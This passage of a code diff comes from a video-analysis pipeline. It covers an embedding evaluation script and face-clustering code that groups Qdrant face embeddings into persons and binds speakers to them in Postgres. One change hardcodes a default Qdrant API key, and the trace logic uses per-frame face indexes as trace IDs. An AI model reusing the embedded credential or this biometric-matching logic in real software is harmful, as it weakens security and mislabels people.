return dot / (norm_a * norm_b) if norm_a > 0 and norm_b > 0 else 0.0
def load_vlm_descriptions(file_uuid: str, output_dir: str) -> list:
"""Load VLM descriptions from trace/scene/interval profiles."""
descriptions = []
output_path = Path(output_dir)
# Load trace profiles
trace_dir = output_path / file_uuid
if trace_dir.exists():
for trace_path in sorted(trace_dir.glob("trace_*")):
profile_path = trace_path / "trace_profile.json"
if profile_path.exists():
with open(profile_path) as f:
profile = json.load(f)
desc = profile.get("vlm_description", "")
if desc:
descriptions.append({
"id": f"trace_{profile.get('trace_id', 0)}",
"type": "trace",
"text": desc,
})
# Load scene profiles
scene_profile = output_path / f"{file_uuid}_scene_profile.json"
if scene_profile.exists():
with open(scene_profile) as f:
data = json.load(f)
for scene in data.get("scenes", []):
desc = scene.get("vlm_description", "")
if desc:
descriptions.append({
"id": f"scene_{scene.get('scene_number', 0)}",
"type": "scene",
"text": desc,
})
# Load interval profiles
interval_profile = output_path / f"{file_uuid}_interval_profile.json"
if interval_profile.exists():
with open(interval_profile) as f:
data = json.load(f)
for interval in data.get("intervals", []):
desc = interval.get("vlm_description", "")
if desc:
descriptions.append({
"id": f"interval_{interval.get('interval_index', 0)}",
"type": "interval",
"text": desc,
"timestamp_sec": interval.get("timestamp_sec", 0),
})
return descriptions
def evaluate_model(get_embedding_fn, name: str, descriptions: list, queries: list) -> dict:
"""Evaluate a single model."""
print(f"\n[eval] Evaluating {name}...")
results = {
"model": name,
"dimension": None,
"avg_latency_ms": 0,
"total_embeddings": 0,
"test_results": [],
}
# Embed all VLM descriptions
vlm_embeddings = []
total_latency = 0
for i, desc in enumerate(descriptions[:100]): # Limit to 100 for speed
emb, latency = get_embedding_fn(desc["text"])
total_latency += latency
if emb:
vlm_embeddings.append({
"id": desc["id"],
"type": desc["type"],
"text": desc["text"],
"embedding": emb,
})
if results["dimension"] is None:
results["dimension"] = len(emb)
if (i + 1) % 20 == 0:
print(f"[eval] Embedded {i+1}/{min(len(descriptions), 100)}...")
results["total_embeddings"] = len(vlm_embeddings)
if vlm_embeddings:
results["avg_latency_ms"] = round(total_latency / len(vlm_embeddings) * 1000, 1)
# Test queries
for test in queries:
query_emb, latency = get_embedding_fn(test["query"])
if not query_emb:
continue
# Find top-5 similar
similarities = []
for vlm in vlm_embeddings:
sim = cosine_similarity(query_emb, vlm["embedding"])
similarities.append({
"id": vlm["id"],
"type": vlm["type"],
"text": vlm["text"][:100],
"score": round(sim, 4),
})
similarities.sort(key=lambda x: x["score"], reverse=True)
top5 = similarities[:5]
results["test_results"].append({
"query": test["query"],
"lang": test["lang"],
"latency_ms": round(latency * 1000, 1),
"top5": top5,
})
return results
def main():
parser = argparse.ArgumentParser(description="Embedding model evaluation")
parser.add_argument("--file-uuid", "-u", help="File UUID for VLM data")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--limit", "-l", type=int, default=100, help="Max VLM descriptions to embed")
args = parser.parse_args()
print("=" * 70)
print("Embedding Model Evaluation")
print("=" * 70)
# Load VLM descriptions
descriptions = []
if args.file_uuid:
descriptions = load_vlm_descriptions(args.file_uuid, args.output_dir)
print(f"\n[eval] Loaded {len(descriptions)} VLM descriptions from {args.file_uuid}")
if not descriptions:
print("[eval] No VLM descriptions found. Using sample data...")
descriptions = [
{"id": "sample_1", "type": "sample", "text": "A person wearing a red shirt and black pants standing in an office."},
{"id": "sample_2", "type": "sample", "text": "Two people in a meeting room, one wearing glasses and formal attire."},
{"id": "sample_3", "type": "sample", "text": "A woman holding a small brown dog outdoors on a sunny day."},
{"id": "sample_4", "type": "sample", "text": "Night scene on a busy street with cars and pedestrians."},
{"id": "sample_5", "type": "sample", "text": "Person in casual clothing sitting at a desk in an office."},
]
# Evaluate Model A (embeddinggemma)
results_a = evaluate_model(get_embedding_a, "embeddinggemma", descriptions, TEST_QUERIES)
# Evaluate Model B (nomic-embed-text-v2-moe)
results_b = evaluate_model(get_embedding_b, "nomic-embed-text-v2-moe", descriptions, TEST_QUERIES)
# Print comparison
print("\n" + "=" * 70)
print("COMPARISON RESULTS")
print("=" * 70)
print(f"\n| Metric | embeddinggemma | nomic-embed-text-v2-moe |")
print(f"|--------|----------------|--------------------------|")
print(f"| Dimension | {results_a.get('dimension', 'N/A')} | {results_b.get('dimension', 'N/A')} |")
print(f"| Avg Latency | {results_a.get('avg_latency_ms', 'N/A')}ms | {results_b.get('avg_latency_ms', 'N/A')}ms |")
print(f"| Total Embedded | {results_a.get('total_embeddings', 0)} | {results_b.get('total_embeddings', 0)} |")
# Show test query results
print("\n" + "-" * 70)
print("TOP-5 RESULTS PER QUERY")
print("-" * 70)
for i, test in enumerate(TEST_QUERIES):
print(f"\nQuery: {test['query']} ({test['lang']})")
if i < len(results_a.get("test_results", [])):
print(f" embeddinggemma Top-5:")
for r in results_a["test_results"][i]["top5"]:
print(f" {r['id']}: {r['score']:.4f} - {r['text'][:50]}...")
if i < len(results_b.get("test_results", [])):
print(f" nomic Top-5:")
for r in results_b["test_results"][i]["top5"]:
print(f" {r['id']}: {r['score']:.4f} - {r['text'][:50]}...")
# Save results
output = {
"embeddinggemma": results_a,
"nomic-embed-text-v2-moe": results_b,
"comparison": {
"dimension_a": results_a.get("dimension"),
"dimension_b": results_b.get("dimension"),
"latency_diff_ms": (results_b.get("avg_latency_ms", 0) or 0) - (results_a.get("avg_latency_ms", 0) or 0),
},
"queries": TEST_QUERIES,
}
output_file = "embedding_eval_results.json"
with open(output_file, "w") as f:
json.dump(output, f, indent=2)
print(f"\n[eval] Results saved to: {output_file}")
if __name__ == "__main__":
main()
scripts/face_clustering_processor.py
+343 -207
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@@ -1,246 +1,205 @@
#!/opt/homebrew/bin/python3.11
"""
Face Clustering Processor
職責：將短暫的 Face ID 聚合為持續的 Person ID，並自動綁定 Speaker。
Face Clustering Processor V3 - Single-stage trace clustering (Stage 2 merge removed)
Strategy:
1. Load face embeddings from Qdrant _faces collection
2. Group by trace_id, compute weighted average embedding per trace
3. Single-stage AgglomerativeClustering (no Stage 2 merge)
4. Assign person_id to all faces in each trace
5. Output face_cluster.json with auto speaker binding
Output format:
{"status", "file_uuid", "clusters": [{cluster_id, face_count, representative_face}], "frames": [{frame, timestamp, faces: [{face_id, cluster_id, confidence}]}]}
Changes from V2:
- Added argparse for CLI arguments
- Added Redis progress reporting
- Added status + file_uuid to output
- Added auto_bind_speakers() integration
Changes from previous (broken) version:
- REMOVED Stage 2 merge logic (was incorrectly merging different people)
"""
import cv2
import argparse
import json
import numpy as np
import os
import sys
import psycopg2
from collections import defaultdict
from sklearn.cluster import AgglomerativeClustering
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from redis_publisher import RedisPublisher
# Use FaceNet embeddings from face.json instead of DeepFace
HAS_DEEPFACE = False
print("[FACE_CLUSTER] Using FaceNet embeddings from face.json (DeepFace not required)")
# 設定
UUID = os.getenv("UUID", "quick_preview")
OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output")
VIDEO_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.mp4")
FACE_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face.json")
OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face_clustered.json")
ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.asrx.json")
OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json")
ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json")
DB_URL = os.getenv("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry")
def optimized_clustering(embeddings):
"""
Optimized Clustering for large datasets (e.g. 25k faces).
Strategy: Sample -> Agglomerative -> Centroid Assignment
"""
import numpy as np
from sklearn.cluster import AgglomerativeClustering
from sklearn.metrics.pairwise import cosine_distances
n_faces = len(embeddings)
print(f" 🚀 Starting optimized clustering for {n_faces} faces...")
# 1. Sampling
sample_size = min(5000, n_faces)
if n_faces > sample_size:
indices = np.random.choice(n_faces, sample_size, replace=False)
sample_embeddings = embeddings[indices]
else:
sample_embeddings = embeddings
indices = np.arange(n_faces)
print(f" 📊 Sampling {len(sample_embeddings)} faces for clustering structure...")
# 2. Agglomerative Clustering on Sample
clustering = AgglomerativeClustering(
n_clusters=None, distance_threshold=0.4, metric="cosine", linkage="average"
)
sample_labels = clustering.fit_predict(sample_embeddings)
unique_labels = set(sample_labels)
n_clusters = len(unique_labels)
print(f" 🔍 Found {n_clusters} unique clusters in sample.")
# 3. Compute Centroids for each cluster
centroids = []
for label in unique_labels:
cluster_mask = sample_labels == label
cluster_faces = sample_embeddings[cluster_mask]
# Mean embedding
centroid = np.mean(cluster_faces, axis=0)
centroids.append(centroid)
centroids = np.array(centroids) # Shape: (n_clusters, 512)
# 4. Assign all faces to nearest centroid
# Batch processing to save memory
print(f" 🏃 Assigning {n_faces} faces to {n_clusters} clusters...")
all_labels = np.zeros(n_faces, dtype=int)
batch_size = 5000
for start in range(0, n_faces, batch_size):
end = min(start + batch_size, n_faces)
batch = embeddings[start:end]
dists = cosine_distances(batch, centroids)
all_labels[start:end] = np.argmin(dists, axis=1)
return all_labels
CLUSTER_THRESHOLD = 0.35
def main():
if not os.path.exists(FACE_JSON_PATH):
print("❌ Face JSON not found.")
return
def write_empty_output(status: str, file_uuid: str, output_path: str):
output_data = {
"status": status,
"file_uuid": file_uuid,
"clusters": [],
"frames": []
}
with open(output_path, "w", encoding="utf-8") as f:
json.dump(output_data, f, indent=2, ensure_ascii=False)
print(f"Wrote empty output ({status}) to {output_path}")
with open(FACE_JSON_PATH) as f:
face_data = json.load(f)
frames_list = face_data.get("frames", [])
if not frames_list:
print("❌ No frames in JSON.")
return
# Get embeddings from Qdrant
print(f"[FACE_CLUSTER] Loading embeddings from Qdrant for {UUID}...")
def load_qdrant_faces(uuid: str, publisher: RedisPublisher) -> list:
"""Load all face points (payload + vector) from Qdrant _faces for a file."""
publisher.progress("face_cluster", 0, 100, "Loading embeddings from Qdrant")
try:
import requests
qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333")
qdrant_api_key = os.environ.get("QDRANT_API_KEY", "")
collection = "_faces"
qdrant_api_key = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200")
headers = {}
if qdrant_api_key:
headers["api-key"] = qdrant_api_key
# Query all embeddings for this file_uuid
response = requests.post(
f"{qdrant_url}/collections/{collection}/points/scroll",
json={
all_points = []
offset = None
while True:
body = {
"limit": 10000,
"with_payload": True,
"with_vector": True,
"filter": {
"must": [
{"key": "file_uuid", "match": {"value": UUID}}
{"key": "file_uuid", "match": {"value": uuid}}
]
},
"limit": 10000,
"with_vector": True
},
headers=headers
)
}
}
if offset:
body["offset"] = offset
if response.status_code == 200:
result = response.json()
points = result.get("result", {}).get("points", [])
print(f"[FACE_CLUSTER] Loaded {len(points)} embeddings from Qdrant")
resp = requests.post(
f"{qdrant_url}/collections/_faces/points/scroll",
json=body,
headers=headers,
timeout=60
)
if resp.status_code != 200:
print(f"Qdrant scroll error: {resp.status_code}")
break
# Build face_id -> embedding map
embedding_map = {}
for point in points:
face_id = point.get("payload", {}).get("face_id")
vector = point.get("vector")
if face_id and vector:
embedding_map[face_id] = vector
else:
print(f"[FACE_CLUSTER] Qdrant query failed: {response.status_code}")
embedding_map = {}
data = resp.json()
batch = data.get("result", {}).get("points", [])
all_points.extend(batch)
next_offset = data.get("result", {}).get("next_page_offset")
if not next_offset:
break
offset = next_offset
print(f"Loaded {len(all_points)} points from Qdrant _faces")
return all_points
except Exception as e:
print(f"[FACE_CLUSTER] Failed to load embeddings from Qdrant: {e}")
embedding_map = {}
print(f"Failed to load embeddings from Qdrant: {e}")
return []
# Use embeddings from Qdrant - match by frame + bbox
embeddings = []
face_refs = []
print(f"🔍 Collecting face embeddings for {UUID}...")
def cluster_by_trace(points: list, min_faces_per_trace: int = 1, confidence_threshold: float = 0.5) -> tuple:
"""
Cluster faces by trace_id:
1. Filter low-confidence faces
2. Group by trace_id
3. Compute weighted average embedding per trace
"""
high_conf_points = [
p for p in points
if p.get("payload", {}).get("confidence", 0) >= confidence_threshold
]
print(f"[FILTER] {len(high_conf_points)}/{len(points)} faces pass confidence >= {confidence_threshold}")
# Build a lookup: (frame, bbox_center) -> embedding
# Use frame number and approximate bbox center for matching
qdrant_by_frame = {}
for point in points:
traces = defaultdict(list)
for point in high_conf_points:
payload = point.get("payload", {})
frame = payload.get("frame")
bbox = payload.get("bbox", {})
vector = point.get("vector")
if frame is not None and vector:
# Use frame + bbox center as key
cx = bbox.get("x", 0) + bbox.get("width", 0) // 2
cy = bbox.get("y", 0) + bbox.get("height", 0) // 2
key = (frame, cx, cy)
if key not in qdrant_by_frame:
qdrant_by_frame[key] = vector
trace_id = payload.get("trace_id")
if trace_id is not None and trace_id >= 0:
traces[trace_id].append(point)
print(f"[FACE_CLUSTER] Built Qdrant lookup with {len(qdrant_by_frame)} entries")
print(f"[TRACE] Found {len(traces)} unique traces")
for frame_idx, frame_obj in enumerate(frames_list):
frame_num = frame_obj.get("frame", frame_idx)
faces = frame_obj.get("faces", [])
if not faces:
trace_embeddings = {}
for trace_id, trace_points in traces.items():
if len(trace_points) < min_faces_per_trace:
continue
for face_idx, face in enumerate(faces):
x = face.get("x", 0)
y = face.get("y", 0)
w = face.get("width", 0)
h = face.get("height", 0)
cx = x + w // 2
cy = y + h // 2
embeddings = []
weights = []
for p in trace_points:
embeddings.append(p["vector"])
weights.append(p.get("payload", {}).get("confidence", 1.0))
# Try exact match first
key = (frame_num, cx, cy)
if key in qdrant_by_frame:
embeddings.append(qdrant_by_frame[key])
face_refs.append({"frame_idx": frame_idx, "face_idx": face_idx})
continue
embeddings = np.array(embeddings)
weights = np.array(weights)
weights = weights / weights.sum()
# Try approximate match (within 50 pixels)
for (qf, qx, qy), vec in qdrant_by_frame.items():
if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50:
embeddings.append(vec)
face_refs.append({"frame_idx": frame_idx, "face_idx": face_idx})
break
avg_embedding = np.average(embeddings, axis=0, weights=weights)
avg_embedding = avg_embedding / np.linalg.norm(avg_embedding)
if not embeddings:
print("❌ No embeddings found in Qdrant.")
return
trace_embeddings[trace_id] = {
"embedding": avg_embedding,
"face_count": len(trace_points),
"avg_confidence": float(np.mean(weights)),
"frames": [p.get("payload", {}).get("frame") for p in trace_points],
"points": trace_points
}
embeddings = np.array(embeddings)
print(f"✅ Collected {len(embeddings)} face embeddings from Qdrant.")
print(f"[TRACE] {len(trace_embeddings)} traces with >= {min_faces_per_trace} faces")
return trace_embeddings, traces
# 2. 聚類
print(f"🧠 Clustering {len(embeddings)} faces...")
def single_stage_clustering(trace_embeddings: dict) -> dict:
"""
Single-stage AgglomerativeClustering on trace means.
No Stage 2 merge (the problematic logic has been removed).
"""
if not trace_embeddings:
return {}
trace_ids = list(trace_embeddings.keys())
n_traces = len(trace_ids)
if n_traces == 0:
return {}
if n_traces == 1:
return {trace_ids[0]: 0}
embeddings = np.array([trace_embeddings[tid]["embedding"] for tid in trace_ids])
print(f"[CLUSTER] Clustering {n_traces} traces (threshold={CLUSTER_THRESHOLD})...")
clustering = AgglomerativeClustering(
n_clusters=None, distance_threshold=0.4, metric="cosine", linkage="average"
n_clusters=None,
distance_threshold=CLUSTER_THRESHOLD,
metric="cosine",
linkage="average"
)
labels = clustering.fit_predict(embeddings)
unique_labels = set(labels)
label_to_person = {l: f"Person_{i}" for i, l in enumerate(unique_labels)}
print(
f"👥 Detected {len(unique_labels)} unique persons: {[label_to_person[l] for l in unique_labels]}"
)
print(f"[CLUSTER] Detected {len(unique_labels)} unique persons")
# 3. 更新 JSON
for ref, label in zip(face_refs, labels):
f_idx = ref["frame_idx"]
face_idx = ref["face_idx"]
person_id = label_to_person[label]
trace_to_person = {}
for i, trace_id in enumerate(trace_ids):
trace_to_person[trace_id] = labels[i]
if f_idx < len(frames_list):
faces = frames_list[f_idx].get("faces", [])
if face_idx < len(faces):
frames_list[f_idx]["faces"][face_idx]["person_id"] = person_id
# 保存
with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f:
json.dump(face_data, f, indent=2, ensure_ascii=False)
print(f"✅ Saved clustered data to {OUTPUT_JSON_PATH}")
# 4. 自動綁定 Speaker
auto_bind_speakers()
return trace_to_person
def auto_bind_speakers():
if not os.path.exists(OUTPUT_JSON_PATH) or not os.path.exists(ASRX_JSON_PATH):
print("⚠️ Missing data for speaker binding.")
print("Missing data for speaker binding.")
return
with open(OUTPUT_JSON_PATH) as f:
@@ -248,61 +207,48 @@ def auto_bind_speakers():
with open(ASRX_JSON_PATH) as f:
asrx_data = json.load(f)
print("🔗 Auto-binding Speakers to Persons...")
print("Auto-binding Speakers to Persons...")
# 建立 Face 時間列表
face_spans = []
for frame_obj in face_clustered.get("frames", []):
ts = frame_obj.get("timestamp")
for face in frame_obj.get("faces", []):
person_id = face.get("person_id")
person_id = face.get("cluster_id")
if person_id and ts is not None:
face_spans.append({"ts": ts, "person_id": person_id})
speaker_person_counts = {}
# 對於每個說話片段，找出畫面中出現的人
for seg in asrx_data.get("segments", []):
start = seg.get("start")
end = seg.get("end")
speaker = seg.get("speaker_id")
if not speaker:
if not speaker or start is None or end is None:
continue
# 找時間重疊
candidates = [f for f in face_spans if start <= f["ts"] <= end]
candidates = [f for f in face_spans if f.get("ts") is not None and start <= f["ts"] <= end]
if candidates:
# 投票
person_counts = {}
for c in candidates:
pid = c["person_id"]
person_counts[pid] = person_counts.get(pid, 0) + 1
if speaker not in speaker_person_counts:
speaker_person_counts[speaker] = {}
best_person = max(person_counts, key=person_counts.get)
speaker_person_counts[speaker][best_person] = (
speaker_person_counts[speaker].get(best_person, 0) + 1
)
# 寫入資料庫
try:
conn = psycopg2.connect(DB_URL)
cur = conn.cursor()
for speaker, persons in speaker_person_counts.items():
if not persons:
continue
best_person = max(persons, key=persons.get)
print(
f" 🎤 {speaker} is likely {best_person} ({persons[best_person]} votes)"
)
print(f" {speaker} is likely {best_person} ({persons[best_person]} votes)")
# 1. 找或建 Talent
cur.execute("SELECT id FROM talents WHERE real_name = %s", (best_person,))
row = cur.fetchone()
if row:
talent_id = row[0]
else:
@@ -311,9 +257,8 @@ def auto_bind_speakers():
(best_person,),
)
talent_id = cur.fetchone()[0]
print(f" ✨ Created Talent #{talent_id} ({best_person})")
print(f" Created Talent #{talent_id} ({best_person})")
# 2. 綁定 Speaker
cur.execute(
"""
INSERT INTO identity_bindings (talent_id, binding_type, binding_value, source, confidence)
@@ -322,13 +267,204 @@ def auto_bind_speakers():
""",
(talent_id, speaker),
)
print(f" ✅ Bound {speaker} -> {best_person}")
print(f" Bound {speaker} -> {best_person}")
conn.commit()
cur.close()
conn.close()
except Exception as e:
print(f" ❌ DB Error: {e}")
print(f" DB Error: {e}")
def main():
global OUTPUT_JSON_PATH, UUID
parser = argparse.ArgumentParser(description="Face Clustering Processor V3")
parser.add_argument("video_path", help="Path to video file")
parser.add_argument("output_path", help="Path to output JSON file")
parser.add_argument("--uuid", help="Video UUID (optional, overrides env var)")
parser.add_argument("--force", action="store_true", help="Overwrite existing output")
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
OUTPUT_JSON_PATH = args.output_path
output_dir = os.path.dirname(args.output_path)
if args.uuid:
uuid = args.uuid
else:
uuid = os.path.basename(args.video_path).rsplit(".", 1)[0]
UUID = uuid
face_json_path = os.path.join(output_dir, f"{uuid}.face.json")
if not os.path.exists(face_json_path):
face_json_path = os.path.join(output_dir, uuid, f"{uuid}.face.json")
publisher = RedisPublisher(uuid)
publisher.info("face_cluster", "Face clustering started")
if not os.path.exists(face_json_path):
print("Face JSON not found.")
write_empty_output("no_face_json", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No face.json found")
return
with open(face_json_path) as f:
face_data = json.load(f)
frames_list = face_data.get("frames", [])
if not frames_list:
print("No frames in JSON (no faces).")
write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No faces to cluster")
return
fps_value = face_data.get("fps", 23.98)
points = load_qdrant_faces(uuid, publisher)
if not points:
print("No embeddings found in Qdrant.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No embeddings in Qdrant")
return
publisher.progress("face_cluster", 10, 100, f"Loaded {len(points)} Qdrant points")
trace_embeddings, traces = cluster_by_trace(
points,
min_faces_per_trace=1,
confidence_threshold=0.5
)
if not trace_embeddings:
print("No valid traces found.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No valid traces")
return
publisher.progress("face_cluster", 30, 100, f"Found {len(trace_embeddings)} traces")
trace_to_person = single_stage_clustering(trace_embeddings)
if not trace_to_person:
print("Clustering produced no results.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "Clustering empty")
return
n_persons = len(set(trace_to_person.values()))
print(f"Clustering result: {n_persons} persons ({len(trace_to_person)} traces)")
publisher.progress("face_cluster", 50, 100, f"Found {n_persons} persons")
qdrant_by_frame_trace = {}
for point in points:
payload = point.get("payload", {})
frame = payload.get("frame")
trace_id = payload.get("trace_id", -1)
bbox = payload.get("bbox", {})
if frame is not None and trace_id >= 0:
cx = bbox.get("x", 0) + bbox.get("width", 0) // 2
cy = bbox.get("y", 0) + bbox.get("height", 0) // 2
key = (frame, cx, cy)
qdrant_by_frame_trace[key] = trace_id
matched_count = 0
for frame_idx, frame_obj in enumerate(frames_list):
frame_num = frame_obj.get("frame", frame_idx)
for face in frame_obj.get("faces", []):
x = face.get("x", 0)
y = face.get("y", 0)
w = face.get("width", 0)
h = face.get("height", 0)
cx = x + w // 2
cy = y + h // 2
key = (frame_num, cx, cy)
trace_id = qdrant_by_frame_trace.get(key)
if trace_id is None:
for (qf, qx, qy), tid in qdrant_by_frame_trace.items():
if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50:
trace_id = tid
break
if trace_id is not None and trace_id in trace_to_person:
person_label = trace_to_person[trace_id]
face["person_id"] = f"Person_{person_label}"
matched_count += 1
print(f" Assigned person_id to {matched_count} faces")
if matched_count == 0:
print("No faces matched to any trace - check Qdrant data integrity")
publisher.progress("face_cluster", 100, 100, "No trace matches")
write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH)
return
publisher.progress("face_cluster", 70, 100, f"Matched {matched_count} faces")
person_face_count = defaultdict(int)
person_best_face = {}
for frame_idx, frame_obj in enumerate(frames_list):
for face in frame_obj.get("faces", []):
person_id = face.get("person_id")
if not person_id:
continue
person_face_count[person_id] += 1
confidence = face.get("confidence", 0.9)
if person_id not in person_best_face or confidence > person_best_face[person_id]["confidence"]:
person_best_face[person_id] = {
"face_id": f"face_{frame_idx}_{frame_idx}",
"confidence": confidence,
"frame": frame_obj.get("frame", frame_idx),
"bbox": {
"x": face.get("x"),
"y": face.get("y"),
"width": face.get("width"),
"height": face.get("height")
}
}
person_labels_sorted = sorted(person_face_count.keys(), key=lambda p: -person_face_count[p])
clusters = []
for person_id in person_labels_sorted:
cluster_entry = {
"cluster_id": person_id,
"face_count": person_face_count[person_id],
"representative_face": person_best_face.get(person_id)
}
clusters.append(cluster_entry)
output_frames = []
for frame_idx, frame_obj in enumerate(frames_list):
timestamp = frame_obj.get("timestamp", frame_obj.get("frame", 0) / fps_value if fps_value > 0 else 0)
output_faces = []
for face in frame_obj.get("faces", []):
person_id = face.get("person_id")
if person_id:
output_faces.append({
"face_id": f"face_{frame_idx}_{frame_idx}",
"cluster_id": person_id,
"confidence": face.get("confidence", 0.9),
})
if output_faces:
output_frames.append({
"frame": frame_obj.get("frame", frame_idx),
"timestamp": timestamp,
"faces": output_faces,
})
output_data = {
"status": "has_faces",
"file_uuid": UUID,
"clusters": clusters,
"frames": output_frames,
}
with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f:
json.dump(output_data, f, indent=2, ensure_ascii=False)
print(f"Saved clustered data to {OUTPUT_JSON_PATH}")
publisher.progress("face_cluster", 90, 100, f"{len(clusters)} clusters")
auto_bind_speakers()
publisher.complete("face_cluster", f"{len(clusters)} clusters")
if __name__ == "__main__":
scripts/face_processor.py
+25 -26
View File
@@ -35,7 +35,8 @@ from redis_publisher import RedisPublisher
from qdrant_faces import push_face_embeddings_batch
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_face_pose")
SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_face")
SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_face")
FACENET_PATH = os.path.join(SCRIPT_DIR, "..", "models", "facenet512.mlpackage")
# Pose angle classification from roll/yaw
@@ -113,33 +114,33 @@ class FaceProcessorVision:
return None
def process_with_swift(self) -> Dict:
"""Step 1: Run swift_face_pose to get bbox + pose (generates face.json + pose.json)"""
print(f"[FACE_V2] Step 1: Vision detection (face + pose)...")
"""Step 1: Run swift_face to get bbox (generates face_detect.json only)
# Build swift_face_pose if needed
if not os.path.exists(SWIFT_BIN):
Note: swift_face only does face detection.
Pose and appearance expansion happen later via separate processors:
- swift_pose_expansion reads face_traced.json (with trace_id)
- swift_appearance_expansion reads pose.json
"""
print(f"[FACE_V2] Step 1: Vision detection (face only)...")
# Build swift_face if needed
if not os.path.exists(SWIFT_BIN) and not os.path.exists(SWIFT_BIN_DEBUG):
build_dir = os.path.join(SCRIPT_DIR, "swift_processors")
print(f"[FACE_V2] Building swift_face_pose in {build_dir}...")
print(f"[FACE_V2] Building swift_face in {build_dir}...")
subprocess.run(
["swift", "build", "-c", "debug", "--product", "swift_face_pose"],
["swift", "build", "-c", "release", "--product", "swift_face"],
cwd=build_dir, check=True
)
# Determine which binary to use
swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG
swift_face_out = self.output_path.replace(".json", "_detect.json")
# Pose output: same directory, but replace "face" with "pose" in filename
output_dir = os.path.dirname(self.output_path)
output_basename = os.path.basename(self.output_path)
pose_basename = output_basename.replace("face", "pose")
swift_pose_out = os.path.join(output_dir, pose_basename)
# Appearance output: same directory, but replace "face" with "appearance" in filename
appearance_basename = output_basename.replace("face", "appearance")
swift_appearance_out = os.path.join(output_dir, appearance_basename)
cmd = [
SWIFT_BIN,
swift_bin,
self.video_path,
swift_face_out,
swift_pose_out,
swift_appearance_out,
"--sample-interval", str(self.sample_interval),
]
if self.uuid:
@@ -169,10 +170,10 @@ class FaceProcessorVision:
pass
log_f.close()
if proc.returncode != 0:
stderr_out = proc.stderr.read()
stderr_out = proc.stderr.read() if proc.stderr else ""
if stderr_out:
print(stderr_out.strip(), file=sys.stderr)
raise RuntimeError(f"swift_face_pose exited with code {proc.returncode}")
raise RuntimeError(f"swift_face exited with code {proc.returncode}")
elapsed = time.time() - t0
print(f"[FACE_V2] Detection done in {elapsed:.1f}s")
@@ -180,10 +181,6 @@ class FaceProcessorVision:
with open(swift_face_out) as f:
face_data = json.load(f)
# Also check if pose.json was generated (for reference)
if os.path.exists(swift_pose_out):
print(f"[FACE_V2] Pose file generated: {swift_pose_out}")
return face_data
def embed_and_save(self, detection_data: Dict):
@@ -215,7 +212,7 @@ class FaceProcessorVision:
for frame_info in frames:
frame_num = frame_info["frame"]
faces = []
for face in frame_info.get("faces", []):
for face_idx, face in enumerate(frame_info.get("faces", [])):
bb = face["bbox"]
x, y, w, h = bb["x"], bb["y"], bb["width"], bb["height"]
@@ -242,9 +239,10 @@ class FaceProcessorVision:
if emb is not None:
embed_count += 1
# Collect for batch Qdrant push
# Use face_idx to distinguish multiple faces in same frame
all_embeddings.append({
"frame": frame_num,
"trace_id": 0, # Initial, updated by face_tracker
"trace_id": face_idx, # Use face_idx as unique identifier within frame
"bbox": {"x": x, "y": y, "width": w, "height": h},
"confidence": face.get("confidence", 0.5),
"embedding": emb,
@@ -345,6 +343,7 @@ def main():
parser.add_argument("--uuid", "-u", default="")
parser.add_argument("--sample-interval", type=int, default=3)
parser.add_argument("--force", action="store_true")
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
publisher = RedisPublisher(args.uuid) if args.uuid else None
scripts/fast_face_clustering_processor_v2.py
+278
View File
@@ -0,0 +1,278 @@
#!/opt/homebrew/bin/python3.11
"""
Face Clustering Processor V2 - Cluster by trace_id
Strategy:
1. Group faces by trace_id
2. Compute average embedding per trace
3. Cluster traces (not individual faces)
4. Assign person_id to all faces in each trace
"""
import json
import numpy as np
import os
import sys
from collections import defaultdict
from sklearn.cluster import AgglomerativeClustering
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
UUID = os.getenv("UUID", "quick_preview")
OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output")
FACE_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face.json")
if not os.path.exists(FACE_JSON_PATH):
FACE_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face.json")
OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json")
ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json")
def get_embeddings_from_qdrant(file_uuid):
"""Get all face embeddings from Qdrant grouped by trace_id"""
import requests
qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333")
qdrant_api_key = os.environ.get("QDRANT_API_KEY", "")
headers = {}
if qdrant_api_key:
